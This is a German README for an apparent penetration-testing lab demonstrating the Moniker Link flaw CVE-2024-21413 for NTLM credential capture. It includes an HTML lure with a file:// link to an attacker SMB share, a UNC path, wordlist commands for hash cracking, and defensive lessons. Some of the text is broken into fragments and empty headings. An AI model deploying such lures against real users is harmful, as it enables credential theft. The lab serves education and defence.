e-m-e-k-a/moniker-link-lab-setupPenetrationstest-Labor zur Demonstration der Moniker-Link-Ausnutzung von CVE-2024-21413 für den Diebstahl von NTLM-Anmeldeinformationen, einschließlich Angriffsausführung, Hash-Cracking und defensiver Gegenmaßnahmen.
Praxisorientiertes Penetration-Testing-Labor, das die Ausnutzung von Moniker Links (CVE-2024-21413) zur NTLM-Anmeldeinformationsgewinnung demonstriert. Dieses Projekt dokumentiert die vollständige Angriffskette von der Einrichtung bis zur Kompromittierung von Anmeldeinformationen, einschließlich realer Herausforderungen und Lösungen.
Wichtigste Errungenschaft: Der Moniker-Link-Angriff wurde sowohl in einer isolierten Laborumgebung (Windows-10-VM) als auch auf einem realen System (Windows-11-PC) erfolgreich ausgeführt, was praktische Sicherheitslücken und defensive Gegenmaßnahmen demonstriert.
Angriffsmaschine:
Zielsysteme:
Netzwerkkonfiguration:
HTML-Datei (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
Datei-Explorer-Methode:
\\192.168.56.101\test in die Adressleiste einProblem:
Ursache:
Lösung:
Lehre: Die standardmäßige Windows-Firewall bietet effektiven Schutz gegen diesen Angriff. Benutzer müssen sie aktiviert lassen.
Problem:
nwigwecj112Honey (falsches Passwort!)12Honey stammte aus einem früheren TestUrsache:
~/.john/john.potLösung:
1414 geändertLehre: Immer überprüfen, dass man den richtigen Hash knackt. Pot-Datei löschen oder eindeutige Passwörter für Tests verwenden.
Problem:
1414 in rockyou.txt nicht gefunden (14 Millionen Passwörter)Ursache:
Lösung:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
Lehre: „Nicht in rockyou.txt" ≠ sicher. Kurze Passwörter sind anfällig für gezielte Angriffe und Brute-Force-Angriffe, unabhängig vom Vorhandensein in Wortlisten.
✅ Windows-Firewall - Hat den Angriff bei Aktivierung vollständig blockiert ✅ Moderne Browser - Chrome/Edge blockieren Remote-file://-Links ✅ Benutzerbewusstsein - Manuelle Aufforderung erfordert eine Benutzeraktion
❌ Schwache Passwörter - 4-stellige Ziffern leicht zu knacken ❌ Deaktivierte Firewall - Häufiger Benutzerfehler ❌ Datei-Explorer - Keine Warnung vor UNC-Pfaden ❌ NTLM-Protokoll - Automatische Authentifizierung gegenüber SMB-Freigaben
1. Firewall ist entscheidend
2. Illusion der Passwortstärke
1414 nicht in rockyou.txt (erscheint „stark")3. Benutzerinteraktion erforderlich
Offensiv:
Infrastruktur:
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
Technisch:
Beruflich:
Alle Tests wurden an autorisierten Systemen durchgeführt:
Rechtlicher Hinweis: Unbefugter Computerzugriff ist illegal. Dieses Projekt dient nur Bildungszwecken und autorisierten Testumgebungen.
LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a
Datum: März 2026
Nur für Bildungszwecke. Nicht für unbefugte Tests.
⭐ Wenn Ihnen dieses Projekt geholfen hat, erwägen Sie bitte, dem Repository einen Stern zu geben!
| Metrik | Ergebnis |
|---|
| Ursprüngliches Passwort | nwigwecj1 |
| Geändert auf | 1414 |
| Wortliste | Benutzerdefiniert (2 Einträge) |
| Knackzeit | < 1 Sekunde |
| Firewall | Für Tests deaktiviert |
| Status | ✅ Erfolgreich kompromittiert |
| Metrik | Ergebnis |
|---|
| Passwort | 1414 |
| Firewall | Anfangs blockiert, dann deaktiviert |
| Authentifizierung | Manuelle Aufforderung (Anmeldeinformationen eingegeben) |
| Knackzeit | Sofort |
| Status | ✅ Erfolgreich kompromittiert |